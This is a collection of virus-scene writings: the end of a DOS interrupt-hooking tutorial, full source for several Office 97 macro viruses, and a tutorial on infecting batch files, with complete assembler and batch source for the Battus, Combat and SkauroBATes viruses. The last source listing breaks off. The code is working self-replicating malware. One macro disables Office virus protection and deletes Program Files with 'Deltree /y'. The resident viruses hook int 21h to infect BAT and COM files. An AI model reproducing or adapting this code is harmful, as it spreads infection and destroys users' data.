Int 21h

Before you replace the standard interrupt make sure that you restore the old one amigo!  In order to do that save its vector using the function 35h of interrupt 21h before installing the new handler.  Who is that skinny guy at the back crying?  What? You need an example? O.K. relax I will give you one…Here it goes:

……….

Oldoffset 	 dw ?

Oldsegment     dw ?

……….

;saving the old interrupt vector

mov ah,35h	;function 35h -get INT vector

mov al,1Ch	;number of INT (1Ch)

int 21h

mov oldoffset,bx	;save original offset

mov oldsegment, es	;save original segment

………

;installing the new handler  yay!!!!

mov es, segment Newhand	;segment address of handler

mov bx, offset Newhand	;offset address of handler

mov ah,25h	;function 25h -set INT vector

mov al, 1Ch	;number of int we want to fuck up

int 21h	;dos do it!!

……….

Newhand proc

…….

Iret         	;don't forget the IRET !!!

Newhand endp	;u can omit that

Here is another way to perform a similar action:

mov ah, 35h	;get interrupt vector address

mov al,9	;for int 09h (keyboard)

int 21h	;call lil DOS

mov  old_interrupt, bx	;save offset address

mov old_interrupt[2],es	;save segment address

mov ah,25h	;set interrupt vector address

mov al,9	;for int 09h

lea dx, trapmeh	;to our routine

int 21h	;call lil DOS

Baah! This is the end of this tutorial. I hope that for all of us new aspiring authors out there, I made things sound a lil bit more clear. As far as those virus authors that already know these things as a second nature, I hope you will appreciate our efforts and give some help to us newbies, whenever possible.

Credits:

All ze people in #virus, #vir and #3c of the Undernet server, Darkman

, members of my group (Yozak, Photek, Javas, Higuita, PhreakX), Evul,

CyberYoda, Knowdeth, Roadkil, Spyda, Rhape79, Tally, Metalkid, and so

many more that I seem to forget now!

Bibliography:

Abrash Michael's  book Zen of Assembly Language: Volume 1, Knowledge

Addison Wesley's book Undocumented DOS

Maljugin Vitaly's  book Guide to Assembly Language

This tutorial has been written by BSL4, and remains an intellectual property of the author. Distribute this tutorial freely, and make corrections and additions if you will,  provided that you assign credit to the original writer.


Cross.Lys by Lys Kovick

VERSION 1.0 CLASS

BEGIN

  MultiUse = -1  'True

END

Attribute VB_Name = "ThisDocument"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Private Sub Workbook_Open()

Cross_Lys Workbooks, ThisWorkbook, "Word.Application"

End Sub

Private Sub Document_Open()

Cross_Lys Documents, ThisDocument, "Excel.Application"

End Sub

Private Function Cross_Lys(Target As Object, Host As Object, Cross As String)

On Error Resume Next

MyCode = Host.VBProject.VBComponents(1).CodeModule.Lines(1, Host.VBProject.VBComponents(1).CodeModule.CountOfLines)

For X = 1 To Target.Count

With Target(X).VBProject.VBComponents(1).CodeModule

.DeleteLines 1, .CountOfLines

.AddFromString MyCode

Target(X).SaveAs FileName:=Documents(X).FullName

End With

Next

Set CrossApp = GetObject(, Cross)

If CrossApp = "" Then

Set CrossApp = CreateObject(Cross)

CrossQuit = True

End If

If CrossApp.Application.RecentFiles.Count >= 1 Then

For X = 1 To CrossApp.Application.RecentFiles.Count

With CrossApp.Application.RecentFiles(X).Open

.VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines

.VBProject.VBComponents(1).CodeModule.AddFromString MyCode

.SaveAs FileName:=.FullName

End With

Next

If CrossQuit = True Then CrossApp.Quit

End Function


WM97.Lame by Lys Kovick

VERSION 1.0 CLASS

BEGIN

  MultiUse = -1  'True

END

Attribute VB_Name = "ThisDocument"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Private Sub Document_Open()

Dim VarLys(1 To 3) As Integer

For VarLys(1) = 1 To ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines

If Left(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(VarLys(1), 1), 10) = "Dim VarLys" Then

MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(VarLys(1), 15)

End If

Next

If ThisDocument = ActiveDocument Then Set Target = NormalTemplate Else Set Target = ActiveDocument

For VarLys(2) = 1 To Target.VBProject.VBComponents(1).CodeModule.CountOfLines

If Left(Target.VBProject.VBComponents(1).CodeModule.Lines(VarLys(2), 1), 10) = "Dim VarLys" Then End

Next

For VarLys(3) = 1 To Target.VBProject.VBComponents(1).CodeModule.CountOfLines

If Left(UCase(Target.VBProject.VBComponents(1).CodeModule.Lines(VarLys(3), 1)), 27) = "PRIVATE SUB DOCUMENT_OPEN()" Then

Target.VBProject.VBComponents(1).CodeModule.InsertLines VarLys(3) + 1, MyCode

End If

Next

End Sub


WM97.Campylobacter by BSL4 / 3C

VERSION 1.0 CLASS

BEGIN

  MultiUse = -1  'True

END

Attribute VB_Name = "ThisDocument"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Private Sub Document_Close()

On Error Resume Next

If Day(Now()) = 18 Then

MsgBox("Fatal Exception"),("0x31197303"), 32

Shell("Deltree  /y C:\Progra~1")

End If

Application.EnableCancelKey = wdCancelDisabled

Options.ConfirmConversions = 0

Application.CommandBars("Tools").Enabled=False

Options.SaveNormalPrompt = False

Options.VirusProtection = False

If ThisDocument = ActiveDocument Then Set Target = NormalTemplate Else

Set Target = ActiveDocument

A4 = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)

Set Destination = Target.VBProject.VBComponents.Item(1).CodeModule

Destination.DeleteLines 1, Destination.CountOfLines

Destination.AddFromString A4

If Target = ActiveDocument Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

'Dedicated to Lysergica


WM97.Cancer by Lys Kovick

VERSION 1.0 CLASS

BEGIN

  MultiUse = -1  'True

END

Attribute VB_Name = "ThisDocument"

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Private Function Cancer()

Application.EnableCancelKey = wdCancelDisabled

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

Set TD = ThisDocument.VBProject.VBComponents

For FindCode = 1 To TD.Count

If TD.Item(FindCode).CodeModule.CountOfLines > 0 Then

For CodeLines = 1 To TD.Item(FindCode).CodeModule.CountOfLines

If TD.Item(FindCode).CodeModule.Lines(CodeLines, 1) = "Private Function Cancer()" Then

MyCode = TD.Item(FindCode).CodeModule.Lines(CodeLines, 40)

End If

Next

End If

Next

For MainLoop = 1 To 2

If MainLoop = 1 Then Set Target = Documents Else Set Target = Templates

For TargetCount = 1 To Target.Count

Set TargetComponents = Target(TargetCount).VBProject.VBComponents

For ModuleCount = 1 To TargetComponents.Count

Function_Exist = False

TargetCodeChanged = False

For TargetLines = 1 To TargetComponents(ModuleCount).CodeModule.CountOfLines

If TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) = "Private Function Cancer()" Then Function_Exist = True

If Left(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 12) = "Private Sub " And Right(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 8) <> ": Cancer" Then

TargetComponents(ModuleCount).CodeModule.ReplaceLine TargetLines, TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) & ": Cancer"

TargetCodeChanged = True

ElseIf Left(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 4) = "Sub " And Right(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 8) <> ": Cancer" Then

TargetComponents(ModuleCount).CodeModule.ReplaceLine TargetLines, TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) & ": Cancer"

TargetCodeChanged = True

End If

Next

If Function_Exist = False Then TargetComponents(ModuleCount).CodeModule.AddFromString MyCode

If Function_Exits = False Or TargetCodeChanged = True Then

If MainLoop = 1 Then Documents(TargetCount).SaveAs FileName:=Documents(TargetCount).FullName

If MainLoop = 2 Then Templates(TargetCount).Save

End If

Next

Next

Next

End Function

Private Sub Document_Open(): Cancer

'My_Creator = Lys Kovick

'My_Name = Cancer

'My_Comments = Devil|liveD - God|doG

End Sub


Batch Infection With Assembler by Black Jack

We all know: everything that can be executed is also a potential target for virii. This is of course also true for the simple script language included in MS-DOS known as batch. So what are we waiting for, let's infect it!

I hope you already know that a BAT file is nothing else than DOS commands stored in a text file that are executed one after one. Therefore infection is incredibly simple, just add your code at the beginning and/or at the end of the host code. There's nothing more to do, it's even simpler than COM file infection. The only problem is that the BAT language is very limited in its abilities, remember, they just consist of DOS commands! Nevertheless it is possible to code virii in 100% batch script if you use some coding tricks

(look at Knowdeth's virii, for example, or at the tutorials by Wavefunc). But I will go a different way in this tutorial: I write my batch virii in assembler (like all my virii). But this brings up another problem: how can a text script carry binary code? The main topic of this tutorial is to provide workarounds for that problem and present examples.

1. USING DEBUG SCRIPTS

----------------------

Everybody who has MS-DOS installed in one way or the other (even WinNT users) has also a copy of the neat old debug.exe . And it is an well-known trick that it is possible to use it to create binary files out of debug scripts. Well, I think it is quite clear how we can use this to create a BAT infector: the virus ECHOes out a debug script into a temporary file, creates a binary (usually a COM file) using debug and runs it. And so the ASM part takes control and finishes the life-cycle of the virus by either direct infection or going resident.

My Battus virus demonstrates this technique. It is a TSR BAT infector that generates a com file with debug. Then it extracts its code from the bat file with the standart BAT virus find command and attaches it to the COM file. This COM contains a small program that stays resident and monitores the file open functions of int 21h. If it detects that a BAT file is opened (that could mean executed, copied, typed...) it opens the file and appends its own batch code (if the file wasn't infected before, of course). Battus is also slightly polymorph by changing the case of the letters of the batch code.

As a payload, it displays the message: "Battus is now stoned." on March the 20th (the birthday of the ancient roman poet Ovid). Battus is a charakter from Ovid's "Metamorphoses" that was transformed to stone because he tried to fool the god Mercur. That's why this message has two meanings, because it can also be interpreted as a parody on the stoned virus. What can I say, I thought it was funny. ;-)

=======[battus.asm]==========================================================

length_string     EQU 1680

length_paragraphs EQU ((virusend - start + 100h + 15 + length_string) / 16)

ping = "ov"

pong = "id"

.model tiny

.radix 10

.186

.code

org 100h

start:

mov ah, 49h             ; free enviroment block

mov es, ds:[2Ch]        ; Get enviroment block in ES

int 21h

mov ax, ping            ; already resident?

int 21h

cmp ax, pong

je already_resident     ; if it is already loaded, then quit.

mov ax, 3521h           ; get address of int21h

int 21h

mov int21_segm, es      ; save it

mov int21_offs, bx

mov ax, 2521h           ; hook int21h

mov dx, offset new_int21; DS:DX=pointer to our routine

int 21h

mov ah, 31h             ; terminate, but stay resident

mov dx, length_paragraphs ; length in paragraphs

int 21h

already_resident:

mov ah, 4Ch             ; quit

int 21h

new_int21:

cmp ax, ping            ; virus calling ?

jne no_residency_check

mov ax, pong            ; return residency marker

iret                    ; back to caller

no_residency_check:

push dx                 ; save DX register

cmp ah, 3Dh             ; open functionh

JE infect

mov dx, si

cmp ah, 6Ch             ; extended open function

JE infect

org_int:

pop dx                  ; restore DX

db 0EAh         ; op code far jump

org_int21       EQU this dword

int21_offs      dw 0

int21_segm      dw 0

infect:

pusha                           ; save registers

push ds

push es

push ds                         ; ES=DS

pop es

mov cx, -1                      ; search file name for extension

mov di, dx                      ; ES:DI=offset filename

mov al, "."                     ; value for search

cld                             ; search upwards

repne scasb                     ; search for the dot

mov ax, word ptr [di]           ; get first two letters of extension

and ax, not 2020h               ; convert to upper case

cmp ax, "AB"                    ; .BAT - file?

JNE exit_infect                 ; if it's no BAT file, quit infection

mov al, byte ptr [di+2]         ; get third letter of extension

and al, not 20h                 ; convert to upper case

cmp al, "T"                     ; .BAT - file?

JNE exit_infect                 ; if it's no BAT file, quit infection

mov ax, 3D02h                   ; open file

pushf

call cs:[org_int21]             ; simulate int call to org int 21h

JC exit_infect                  ; if error, then quit

xchg bx, ax                     ; handle to BX

mov ax, 4202h                   ; set filehandle relative to EOF

mov cx, -1

mov dx, -8                      ; 8 bytes before end

int 21h

push cs                         ; DS=CS

pop ds

mov ah, 3Fh                     ; read from file

mov dx, offset read_buffer      ; to our read buffer

mov cx, 8                       ; read 8 bytes

int 21h

mov ax, word ptr ds:[offset read_buffer]   ; first to letters

or ax, 2020h                    ; convert to lowercase

cmp ax, "ab"                    ; already infected?

JE close                        ; if so, then close & quit

push cs                         ; ES=CS

pop es

xor ax, ax                      ; bios get time function

int 1Ah                         ; call the BIOS!

; DX contains now a "random" value

mov si, offset string

mov di, si                      ; DI=SI=offset batch code

mov cx, length_string           ; CX=length of batch code

poly_head:

lodsb                           ; get a byte from buffer

test dx, 1                      ; 0th bit of DX set ?

JZ make_lowercase               ; if so, convert to lowercase

make_uppercase:                         ; else, convert to uppercase

cmp al, "a"                     ; is it lower case now?

JB no_convert

cmp al, "z"

JA no_convert

sub al, "a" - "A"               ; convert lower case to upper case

jmp short no_convert

make_lowercase:                         ; convert to lower case

cmp al, "A"                     ; is it upper case now?

JB no_convert

cmp al, "Z"

JA no_convert

add al, "a" - "A"               ; convert upper case to lower case

no_convert:

stosb                           ; store byte back

ror dx, 1                       ; rotate right our "random value"

loop poly_head                  ; loop 'till done

mov ah, 40h                     ; append batch code to file

mov dx, offset string           ; offset

mov cx, length_string           ; length

int 21h

close:

mov ah, 3Eh                     ; close file

int 21h

exit_infect:

pop es                          ; restore registers

pop ds

popa

JMP org_int                     ; execute original interrupt handler

read_buffer db 8 dup(0)                 ; read buffer

string:                                 ; offset of batch code

virusend:

end start

=======[end battus.asm]======================================================

=======[battus.bat]==========================================================

@Rem This god-fooling Battus code was metamorphosed by Black Jack /LineZer0 /Metaphase

@Echo Off %Battus%

Echo.|Date|Find "3-20-">Nul %Battus%

If Errorlevel 1 Goto Dont_tell_what_happened_to_Battus

cls %Battus%

Echo Battus is now stoned.

:Dont_tell_what_happened_to_Battus

echo e 100 b4 49 8e 06 2c 00 cd 21 b8 76 6f cd 21 3d 64 69 > battus.deb

echo e 110 74 1c b8 21 35 cd 21 8c 06 4c 01 89 1e 4a 01 b8 >> battus.deb

echo e 120 21 25 ba 32 01 cd 21 b4 31 ba 88 00 cd 21 b4 4c >> battus.deb

echo e 130 cd 21 3d 76 6f 75 04 b8 64 69 cf 52 80 fc 3d 74 >> battus.deb

echo e 140 0d 8b d6 80 fc 6c 74 06 5a ea 00 00 00 00 60 1e >> battus.deb

echo e 150 06 1e 07 b9 ff ff 8b fa b0 2e fc f2 ae 8b 05 25 >> battus.deb

echo e 160 df df 3d 42 41 75 75 8a 45 02 24 df 3c 54 75 6c >> battus.deb

echo e 170 b8 02 3d 9c 2e ff 1e 4a 01 72 61 93 b8 02 42 b9 >> battus.deb

echo e 180 ff ff ba f8 ff cd 21 0e 1f b4 3f ba e2 01 b9 08 >> battus.deb

echo e 190 00 cd 21 a1 e2 01 0d 20 20 3d 62 61 74 3a 0e 07 >> battus.deb

echo e 1a0 33 c0 cd 1a be ea 01 8b fe b9 90 06 ac f7 c2 01 >> battus.deb

echo e 1b0 00 74 0c 3c 61 72 12 3c 7a 77 0e 2c 20 eb 0a 3c >> battus.deb

echo e 1c0 41 72 06 3c 5a 77 02 04 20 aa d1 ca e2 de b4 40 >> battus.deb

echo e 1d0 ba ea 01 b9 90 06 cd 21 b4 3e cd 21 07 1f 61 e9 >> battus.deb

echo e 1e0 66 ff 00 00 00 00 00 00 00 00 >> battus.deb

echo RCX >> battus.deb

echo ea >> battus.deb

echo N battus.com >> battus.deb

echo W >> battus.deb

echo Q >> battus.deb

Debug < Battus.Deb > nul

Set Battus=%0

If not Exist %0 Set Battus=%0.Bat

Find /i "Battus" < %BATTUS% >> Battus.Com

Set Battus=

Battus.Com

Del Battus.Com

Del Battus.Deb

:Battus

=======[end battus.bat]======================================================

2. ANOTHER WAY USING DEBUG

--------------------------

was discovered by Blacksmith Tony. What he's doing is writing the whole bat code in a way that it can run as both a BAT file and a debug script. He used this technique in his Roshi (published in TI#1) and Mappy (published in CB#5) viruses. I don't feel like explaining exactly what he does here again, if you are interested in this technique, just read his sources, they also contain a

very detailed description on how this virii work.

3. WRITING COM/BAT HYBRID CODE

------------------------------

The trick here is that you write your code in such a clever way that it can be executed as both a BAT and a COM file. Let's look at the BAT code of my Combat virus as an example (assembler code is a little bit below):

-----------------------------------------------------------------------------

:Àé³

@Echo Off

Set Combat=%0

If %Combat%/==/ Set Combat=C:\Autoexec.bat

If Not Exist %Combat% set Combat=%0.bat

Copy %Combat% Combat.com > NUL

Combat.com Jack

Goto End_Combat

[here is the binary code of the virus]

Combat virus by Black Jack /LineZer0 /Metaphase

written in Austria in November/December 1999

:End_Combat

-----------------------------------------------------------------------------

The first line starts with a doublepoint. That's why it is interpreted as a label by MS-DOS and just ignored if the file is executed as a BAT file. Then the main bat code is executed. What it does is copy itself to the file COMBAT.COM and execute itself again, but this time as a COM file, that is, binary code. And now the first line is treated completely different, as machiene code instruction! And the binary code ":Àé³ " means cmp al, al / JMP binary_code. You see, if the file runs as a BAT, the binary code is simply ignored, and the other way round.

And here is the promised full assembler source code: Combat is a memory resident COM/BAT prepender (with host shifting). When an infected file is run, no matter if it is a COM or a BAT file the virus will get control. It then creates a temporary file (COMBAT.COM) with pure virus code and executes it. This instance of the virus stays resident then as a standart DOS TSR program, interrupt 21h will be hooked. If any .COM or .BAT files are executed or opened the virus will infect them by shifting the host back and writing

the virus code to the beginning of the file.

=======[combat.asm]==========================================================

; Combat virus by Black Jack /LineZer0 /Metaphase

;

; ASSEMBLE WITH:

;                TASM /m combat

;                TLINK /t combat

;                REN combat.com combat.bat

ping              = 0ABCDh

pong              = 0DCBAh

restore_call      = 0ABABh

buffer_size       = 32*1024

length_paragraphs = (end_memory - psp + 15)/16

length_file       = (end_file - start)

.model tiny

.code

.386

org 0

psp:

org 100h

start:

db ":", 0C0h                    ; cmp al, al

JMP asm_code

db 0Dh, 0Ah

db "@Echo Off", 0Dh, 0Ah

db "Set Combat=%0", 0Dh, 0Ah

db "If %Combat%/==/ Set Combat=C:\Autoexec.bat", 0Dh, 0Ah

db "If Not Exist %Combat% set Combat=%0.bat", 0Dh, 0Ah

db "Copy %Combat% Combat.com > NUL", 0Dh, 0Ah

db "Combat.com Jack", 0Dh, 0Ah

db "Goto End_Combat", 0Dh, 0Ah

asm_code:

pusha                           ; save registers

cmp dword ptr ds:[82h], "kcaJ"  ; time to go resident?

JE go_resident

; ----- this parts gets active when an infected COM file is run -------------

mov ah, 3Ch                     ; create file with pure virus code

xor cx, cx                      ; no attributes

mov dx, offset fname            ; DS:DX=pointer to filename

int 21h

xchg bx, ax                     ; handle to BX

mov ah, 40h                     ; write virus code to file

mov cx, length_file             ; length to write

mov dx, offset start            ; DS:DX=pointer to buffer

int 21h

mov ah, 3Eh                     ; close file

int 21h

mov ah, 4Ah                     ; resize MCB

mov bx, 1000h                   ; BX=new size in paragraphs (one segm)

; ES=address of memory block to resize

int 21h

mov segm, cs                    ; fix parameter segment

mov ax, 4B00h                   ; execute virus-code file

mov bx, offset parameter        ; ES:BX=address parameter block

mov dx, offset fname            ; DS:DX=address filename

int 21h

popa                            ; restore registers

mov ax, restore_call            ; restore host

int 21h

int 20h                         ; if virus TSR load fails, then

; simply quit the host :-(

parameter:                              ; parameter block

   dw 0                         ; same environment as we

   dw offset param              ; offset parameter string (in PSP)

segm       dw 0                         ; segmet parameter string (our CS)

   dw 4 dup(-1)                 ; addresses of FCBs (-1 => standart)

; ----- GO RESIDENT ROUTINE -------------------------------------------------

go_resident:

mov ah, 41h                     ; delete our temporary file

mov dx, offset fname            ; DS:DX=pointer to filename

int 21h

mov ah, 49h                     ; free enviroment block

mov es, ds:[2Ch]                ; Get enviroment block in ES

int 21h

mov ax, ping                    ; already resident?

int 21h

cmp ax, pong

je already_resident             ; if it is already loaded, then quit.

mov ax, 3521h                   ; get address of int21h

int 21h

mov int21h_segm, es             ; save it

mov int21h_offs, bx

mov ax, 2521h                   ; hook int21h

mov dx, offset new_int21h       ; DS:DX=pointer to our routine

int 21h

mov ah, 31h                     ; terminate, but stay resident

mov dx, length_paragraphs       ; length in paragraphs

int 21h

already_resident:

mov ax, 4C00h                   ; quit

int 21h

; ----- INT 21h HOOK --------------------------------------------------------

new_int21h:

cmp ax, restore_call            ; restore an infected com file?

JE restore_com

cmp ax, ping                    ; virus calling ?

jne no_residency_check

mov ax, pong                    ; return residency marker

iret                            ; back to caller

no_residency_check:

pusha                           ; save registers

cmp ah, 3Dh                     ; open function

JE infect

cmp ah, 4Bh                     ; execute program function

JE infect

mov dx, si

cmp ah, 6Ch                     ; extended open function

JE infect

org_int:

popa                            ; restore registers

db 0EAh                 ; op code far jump

org_int21h      EQU this dword

int21h_offs     dw 0

int21h_segm     dw 0

; ----- INFECTION ROUTINE ---------------------------------------------------

infect:

push es                         ; save ES

push ds                         ; ES=DS

pop es

mov cx, -1                      ; search file name for extension

mov di, dx                      ; ES:DI=offset filename

xor ax, ax                      ; value for search

cld                             ; search upwards

repne scasb                     ; search for the final zero

mov eax, dword ptr [di-5]       ; get extension to EAX

or eax, 20202020h               ; convert to lowercase

cmp eax, "tab."                 ; .bat file?

JE bat_file

cmp eax, "moc."                 ; .com file?

JNE exit_infect                 ; if it's no BAT file, quit infection

bat_file:

mov word ptr cs:[offset filename], dx   ; save filename address

mov word ptr cs:[offset filename+2], ds

mov ax, 4300h                   ; get attribute

pushf

call cs:org_int21h              ; simulate int call to org int 21h

mov cs:attributes, cx           ; save attributes

mov ax, 4301h                   ; clear attributes

xor cx, cx                      ; new attributes=0

pushf

call cs:org_int21h              ; simulate int call to org int 21h

mov ax, 3D02h                   ; open file

pushf

call cs:org_int21h              ; simulate int call to org int 21h

JC exit_infect                  ; if error, then quit

xchg bx, ax                     ; handle to BX

push cs                         ; ES=DS=CS

push cs

pop ds

pop es

mov ax, 5700h                   ; get file date/time

pushf

call org_int21h                 ; simulate int call to org int 21h

mov filetime, cx                ; save filedate and -time

mov filedate, dx

mov ah, 3Fh                     ; read in the complete file

mov cx, buffer_size             ; size of our buffer

mov dx, offset buffer           ; DS:DX=buffer address

pushf

call org_int21h                 ; simulate int call to org int 21h

cmp cx, ax                      ; read size equal to buffer size?

JE close                        ; file size bigger than buffer, abort

cmp word ptr ds:[offset buffer], 0C03Ah ; file already infected?

JE close

cmp word ptr ds:[offset buffer], "ZM"   ; is it an exe file?

JE close

push ax                         ; save size of victim file

mov ax, 4200h                   ; move filepointer to SOF

xor cx, cx                      ; DX=CX=0 (new position)

cwd

pushf

call org_int21h                 ; simulate int call to org int 21h

mov ah, 40h                     ; write virus to begin of file

mov cx, length_file             ; length of virus

mov dx, offset start            ; DS:DX=address write buffer

pushf

call org_int21h                 ; simulate int call to org int 21h

mov ah, 40h                     ; write host back after the virus

pop cx                          ; restore size of host

mov dx, offset buffer           ; DS:DX=address of buffer

pushf

call org_int21h                 ; simulate int call to org int 21h

mov cx, filetime                ; restore filetime and -date

mov dx, filedate

mov ax, 5701h                   ; reset filetime/-date

pushf

call org_int21h                 ; simulate int call to org int 21h

close:

mov ah, 3Eh                     ; close file

pushf

call org_int21h                 ; simulate int call to org int 21h

mov ax, 4301h                   ; reset attributes

mov cx, attributes              ; old attributes

lds dx, filename                ; DS:DX=pointer to filename

pushf

call cs:org_int21h              ; simulate int call to org int 21h

exit_infect:

pop es                          ; restore ES

JMP org_int                     ; jump to original interrupt

; ----- RESTORE COM FILE ----------------------------------------------------

restore_com:

mov di, 100h                    ; start for COMs

mov bx, sp                      ; set new return offset

mov word ptr ss:[bx], di

mov si, offset end_file         ; here's the host code stored

mov cx, 0FFFFh - length_file    ; move whole host back

cld                             ; move upwards

rep movsb

iret                            ; jump back to start of host

fname   db "Combat.com", 0              ; temporary filename

param   db 5, " Jack", 0                ; command line parameter for virus

db 0Dh, 0Ah

db "Combat virus by Black Jack /LineZer0 /Metaphase", 0Dh, 0Ah

db "written in Austria in November/December 1999", 0Dh, 0Ah

db ":End_Combat", 0Dh, 0Ah

end_file:

filename        dd ?

filetime        dw ?

filedate        dw ?

attributes      dw ?

buffer          db buffer_size dup(?)

end_memory:

end start

=======[end combat.asm]======================================================

4. ENCRYPTING THE BINARY CODE

-----------------------------

Why is it actually impossible to carry binary code directly in a batch file? Because batch files are text files, and not all characters that can be found in binary code are also legit in text files. For example, everybody knows the characters 0Dh and 0Ah that are carriage return and line feed, used to mark the end of one line in a text file. Also the batch language itself uses some characters for itself (the pipe symbols < > |). Another possible workaround for this problem is to encrypt the binary code of the virus in such a way that it doesn't contain this characters any more. And this was done in the

following SkauroBATes virus. It uses a simple encryption algorithm that shrinks the number of possible characters in the code to 32 which are all possible, but it doubles the size of the code. And also the decryptor has been written in such a careful way that it doesn't contain any illegal characters. And this encrypted code is simply ECHOed out in a temporary COM file by the BAT instance of the virus. Concretely this code is appended to infected BAT files:

-----------------------------------------------------------------------------

@Echo Off

Echo [encrypted binary code]>Skauro.com

Skauro.com

Del Skauro.com

REM SkauroBATes virus by Black Jack /LineZer0 /Metaphase

REM coded in Austria in December 1999

-----------------------------------------------------------------------------

There's just a little problem with this method: the second line is of course very long. And many DOS versions (for example MS-DOS 6.22) can't handle lines of that length, that means the virus won't work with them :-( Anyway, I have tested it under Win95b/MS-DOS 7.10 and it works ok there.

About the virus, there's nothing more to say. After the first infected BAT file (or the first generation COM) is run, it goes resident and appends itself to all opened BAT files.

=======[skauro.asm]==========================================================

; SkauroBATes virus source code by Black Jack /LineZer0 /Metaphase

;

; Assemble with:

;

; TASM /m skauro

; TLINK skauro

; run skauro.exe to generate the file skauro.com that contains the pure

; encrypted virus code.

; run skauro.com to make the virus memory resident.

code_length  = (offset start_decrypted - offset start)

crypt_length = (offset end_virus - offset start_decrypted)

mem_length   = ((offset end_virus_mem - offset psp + 15) / 4)

ping         = 0ABCDh

pong         = 0DCBAh

.model tiny

.code

.386

org 0

psp:

org 100h

start:

mov cx, crypt_length            ; length to decrypt

mov si, offset crypt_buffer     ; source for crypted code

mov di, offset start_decrypted  ; destination for decrypted code

decrypt_loop:

lodsw                           ; load encrypted word

and al, 00001111b               ; AL=low nibble

cmp ah, -1                      ; if AH=-1, the byte is 0

JNE ah_not_FFh

inc ah                          ; fix to 0

ah_not_FFh:

xor al, ah                      ; complete the byte

; (same as or, but or opcode is 0Ah,

; and this is no text character)

stosb                           ; store decrypted byte

LOOP decrypt_loop               ; loop til done

JMP start_decrypted             ; jump to decrypted code

crypt_buffer db (2*crypt_length) dup(0) ; buffer for encrypted code

start_decrypted:

mov ax, ping                    ; already resident?

int 21h

cmp ax, pong

JE already_resident             ; if yes, then quit

mov ah, 49h                     ; free enviroment block

mov es, ds:[2Ch]                ; get enviroment block in ES

int 21h

mov ax, 3521h                   ; get address of int21h

int 21h

mov org_int21h_segm, es         ; save it

mov org_int21h_offs, bx

mov ax, 2521h                   ; hook int21h

mov dx, offset new_int21h       ; DS:DX=pointer to our routine

int 21h

mov ax, 3100h                   ; exit, stay TSR (exit code 0)

mov dx, mem_length

int 21h

already_resident:

int 20h                         ; quit

; ----- INT 21h HOOK --------------------------------------------------------

new_int21h:

cmp ax, ping                    ; residency check?

JNE no_res_check

mov ax, pong                    ; we're there!

IRET

no_res_check:

pushad                          ; save registers

push ds

push es

cmp ah, 3Dh                     ; open function?

JE infect

mov dx, si

cmp ah, 6Ch                     ; extended open?

JE infect

org_int:

pop es                          ; restore registers

pop ds

popad

db 0EAh                         ; JMP FAR imm32 opcode

org_int21h      EQU this dword

org_int21h_offs dw 0

org_int21h_segm dw 0

; ----- INFECTION ROUTINE ---------------------------------------------------

infect:

push ds                         ; ES=DS

pop es

mov cl, -1                      ; search file name for extension

mov al, 0                       ; value for search

mov di, dx                      ; ES:DI=offset filename

cld                             ; search upwards

repne scasb                     ; search for the final zero

mov eax, dword ptr [di-4]       ; get first two letters of extension

and eax, not 20202020h          ; convert to lowercase

cmp eax, "TAB"                  ; .bat file?

JNE org_int                     ; if not, then quit

mov ax, 4300h                   ; get attributes

pushf

call cs:org_int21h              ; call original int21h

push cx                         ; save attributes

mov ax, 4301h                   ; vaporize attributes

xor cx, cx                      ; attributes=0

pushf

call cs:org_int21h              ; call original int21h

mov ax, 3D02h                   ; open file read/write

pushf

call cs:org_int21h              ; call original int21h

xchg bx, ax                     ; handle to BX

push cs cs                      ; DS=ES=CS

pop es ds

mov ax, 4202h                   ; move filehandle relative to end

mov cx, -1                      ; where to move (high word)

mov dx, -bat_code2_length       ;   "    "   "  (low word)

pushf

call org_int21h                 ; call original int21h

mov ah, 3Fh                     ; read file

mov cx, bat_code2_length        ; read in part of bat code

mov dx, offset read_buffer

pushf

call org_int21h                 ; call original int21h

cmp cx, ax                      ; all bytes read?

JNE uninfected                  ; if not, the file can't be infected

cmp dword ptr ds:[offset read_buffer+1], "uakS" ; already infected?

JE close                        ; if yes, then close

uninfected:

mov ax, 5700h                   ; get filedate/time

pushf

call org_int21h                 ; call original int21h

push cx                         ; save date/time

push dx

mov ax, 4202h                   ; move filepointer to EOF

xor cx, cx                      ; DX:CX=distance to move=0

cwd

pushf

call org_int21h                 ; call original int21h

mov ah, 40h                     ; write 1st part of bat code

mov cx, bat_code1_length        ; length to write

mov dx, offset bat_code1        ; DS:DX=pointer to write buffer

pushf

call org_int21h                 ; call original int21h

mov ah, 40h                     ; write virus code

mov cx, code_length             ; length to write

mov dx, offset start            ; DS:DX=pointer to write buffer

pushf

call org_int21h                 ; call original int21h

mov ah, 40h                     ; write 2st part of bat code

mov cx, bat_code2_length        ; length to write

mov dx, offset bat_code2        ; DS:DX=pointer to write buffer

pushf

call org_int21h                 ; call original int21h

pop dx                          ; restore filedate/time

pop cx

mov ax, 5701h                   ; reset filetime

pushf

call org_int21h                 ; call original int21h

close:

mov ah, 3Eh                     ; close file

pushf

call org_int21h                 ; call original int21h

mov ax, 4301h                   ; reset attributes

pop cx

pushf

call org_int21h                 ; call original int21h

JMP org_int

; ----- VIRUS DATA ----------------------------------------------------------

bat_code1       db "@Echo Off", 0Dh, 0Ah

db "Echo "

bat_code1_length = $ - offset bat_code1

bat_code2       db ">Skauro.com", 0Dh, 0Ah

